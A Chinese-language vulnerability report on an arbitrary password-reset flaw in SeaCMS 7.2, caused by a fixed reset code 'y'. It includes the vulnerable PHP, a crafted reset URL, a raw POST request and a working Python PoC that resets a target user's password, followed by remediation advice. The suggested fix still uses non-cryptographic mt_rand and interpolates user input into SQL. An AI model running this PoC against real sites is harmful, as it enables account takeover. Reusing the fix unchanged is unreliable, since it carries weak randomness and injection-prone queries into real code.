某cms7.2-任意用户密码重置(前台篇)
字数 993 2025-08-29 08:31:47
SeaCMS 7.2 任意用户密码重置漏洞分析报告
漏洞概述
SeaCMS 7.2版本存在一个严重的任意用户密码重置漏洞,攻击者可以在不知道目标用户当前密码的情况下,通过构造特定的URL请求来重置任意用户的密码。该漏洞属于逻辑缺陷类漏洞,影响范围广,危害程度高。
漏洞原理
1. 密码重置机制缺陷
系统在用户注册时,将repswcode字段默认设置为固定值"y":
$dsql->ExecuteNoneQuery("INSERT INTO `sea_member`(..., repswcode, ...) VALUES (..., 'y', ...)");
2. 密码重置验证不严
在密码重置过程中,系统仅验证用户提交的repswcode是否与数据库中存储的repswcode匹配:
$row=$dsql->GetOne("select * from sea_member where username='$repswname'");
$repswcode2=$row['repswcode'];
if($repswcode != $repswcode2){...}
3. 重置后未更新安全凭证
密码重置成功后,系统又将repswcode重置为固定值"y":
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',repswcode = 'y' where username='$repswname'");
漏洞复现步骤
环境准备
- 安装SeaCMS 7.2版本
- 注册两个测试用户:
- User_A (12345678)
- User_B (87654321)
攻击流程
-
获取目标用户名:确定要攻击的目标用户名(如User_B)
-
构造重置链接:
http://target-site/member.php?mod=repsw3&repswcode=y&repswname=User_B -
提交新密码:
使用POST请求提交新密码:POST /member.php?mod=repsw4 HTTP/1.1 Host: target-site Content-Type: application/x-www-form-urlencoded cckb=提交&repswname=User_B&repswnew2=12341234&repswcode=y&repswnew1=12341234
Python PoC代码
import requests
session = requests.Session()
paramsGet = {"mod":"repsw4"}
paramsPost = {
"cckb":"提交",
"repswname":"targetUser",
"repswnew2":"12341234",
"repswcode":"y",
"repswnew1":"12341234"
}
headers = {
"User-Agent": "Mozilla/5.0",
"Referer": "http://target-site/member.php?mod=repsw3&repswcode=y&repswname=targetUser"
}
response = session.post("http://target-site/member.php",
data=paramsPost,
params=paramsGet,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
漏洞分析
-
注册时固定repswcode:所有用户注册时
repswcode都被设置为"y",缺乏随机性。 -
密码重置流程缺陷:
- 系统仅验证
repswcode是否匹配数据库中的值 - 没有验证重置请求的来源合法性
- 没有使用时间敏感的token
- 系统仅验证
-
重置后安全凭证未更新:重置后
repswcode又被重置为"y",导致漏洞可被重复利用。
修复方案
临时修复措施
- 修改
member.php和reg.php,使用随机生成的repswcode:
function randomkeys($length) {
$pattern = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ';
$key = '';
for($i=0;$i<$length;$i++) {
$key .= $pattern[mt_rand(0,61)];
}
return $key;
}
$repswcode = randomkeys(32); // 使用32位随机字符串
- 在注册和密码重置时使用随机生成的
repswcode:
// 注册时
$dsql->ExecuteNoneQuery("INSERT INTO `sea_member`(..., repswcode, ...) VALUES (..., '$repswcode', ...)");
// 重置密码后
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd', repswcode = '$new_repswcode' where username='$repswname'");
长期安全建议
-
实现完整的密码重置流程:
- 使用时间敏感的token
- 设置token有效期(如30分钟)
- 重置后使token立即失效
-
增加安全验证:
- 验证重置请求的来源
- 限制IP的尝试次数
- 记录密码重置日志
-
使用加密安全的随机数生成器生成token
漏洞影响
- 攻击者可重置任意用户密码,获取账户控制权
- 可能导致网站用户数据泄露
- 可能被用于横向渗透攻击
总结
SeaCMS 7.2的密码重置机制存在严重逻辑缺陷,通过分析其注册和密码重置流程,我们发现系统使用固定值作为重置凭证且缺乏必要的安全验证。开发人员应重视此类逻辑漏洞,在关键业务流程中实施严格的安全控制措施。